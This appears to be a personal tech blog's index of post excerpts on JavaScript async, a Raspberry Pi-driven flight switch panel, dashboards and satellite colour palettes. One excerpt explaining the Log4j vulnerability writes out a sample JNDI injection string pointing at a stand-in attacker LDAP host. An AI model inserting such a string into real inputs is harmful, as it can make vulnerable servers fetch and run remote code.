I gave an intro to the JavaScript event loop and how it can be useful nearly 6 years ago and wanted to bring up a quick optimisation that I’ve run into a few times recently regarding handling a bunch of independent asynchronous calls more efficiently.
A common scenario you’ll probably discover in frontend JavaScript or backend Node.js is the need to run a bunch of asynchronous functions. A typical form of this might be getting the results from a few different APIs or downloading a bunch of files from a remote server.
Last month I posted about being absolutely stoked with my new monitor setup and the remaining monitor that couldn’t be connected to my PC finally has a purpose. For a while now I’ve wanted a cool monitor just displaying a constant feed of information, but without the aesthetics of modern dashboards. To be honest I really wanted something that had that an old-school terminal effect and now it’s finally starting to come together.
About a month ago I got my switch panel controlling my PC. In short, I use a Logitech/Saitek PZ55 Flight Switch Panel connected to a Raspberry Pi that reads USB HID input from the panel and sends PSExec commands to my gaming PC.
It’s honestly been a lot of fun to use over the past month and it was so weird going back to the office and using a computer that didn’t have a bunch of physical switches you could toggle to control.
I purchased a Logitech/Saitek PZ55 Flight Switch Panel recently and set it up so I could control my computer:
Your browser does not support the video tag. It can now do the following:
Start my gaming PC via Wake-On-Lan. Open Task Manager. Open explorer.exe. Start Firefox, Discord, Steam, Spotify, Blender. Start my favourite game. Start a Chrome session with Special Business™ tabs already open. Switch Controller The switch is connected to a Raspberry Pi 4B which runs a Python script as a SystemD service.
I purchased a new Logitech version of the Saitek Flight Switch Panel so that I can use it as a Streamdeck-like interface for my PC and devices on my home network.
Once again, I’ve gotta map the USB HID to the various switches and knobs so you’ll find below the table of values if you ever want to use one in your own projects.
Switches Below you’ll find a table for all the bit positions that a switch can use over the three bytes of the panel.
I found my old Saitek X52 HOTAS (joystick + throttle controller) that I used to use with DCS: A-10C Warthog and it made me realise joysticks are such a beautiful interface but one that doesn’t get much use outside the hobby world. I’ve been working on a project lately to use my ancient controller as an interface device for some software. It’s still very early days and I’m not sure if it’s something I’ll keep plugging at, but it’s been fun to get back into development stuff.
A few weeks ago a new vulnerability was discovered being expoited in the wild.
Vulnerability Summary The Apache Log4j 2 library has a Remote Code Execution (RCE) vulnerability based on variable substition. If a log message contains a string with a JNDI string pointing to an LDAP or RMI endpoint such as ${jndi:ldap://evil-ldap.example.com/mwahaha} the Log4j library will immediately try and resolve it by calling out to the endpoint. In the LDAP case it will resolve the LDAP resource and if the LDAP server replies with a HTTP address it will call out to that as well.
I’ve been using dark mode for a lot of my devices for a bit now, I’m a late convert but after developing repeated headaches using my computer all day at work and home (with breaks to look at my bright phone screen) I made the switch and it helped a lot. I solved the problems later with some other technical measures, but kept the dark mode as a backup and general ease-on-the-eyes.
I’d been feeling a bit lost, so decided to throw myself into a small, contained project. It took a while to find the perfect idea, but I decided to create Earth Palettes, taking slices of satellite imagery and then pulling a colour palette from it. For me it was an exercise in trying to explore the intersection between nature, art, and technology.
Sourcing Data My first thought was finding an open access API feed and downloading 3- or 4-band true colour georectified images and then snipping out small segments.
Sometimes when I’ve had a break from personal tech projects for a while I want to get back into the saddle but don’t want to commit to something massive. I want a bite-sized, single evening project with a definite output and often a Twitter bot is the perfect creation to fill that niche. Once you have the basic formula down pat, the process is pretty easy, with most of the hassle being in convincing Twitter to give you developer access if you want to go the manual route.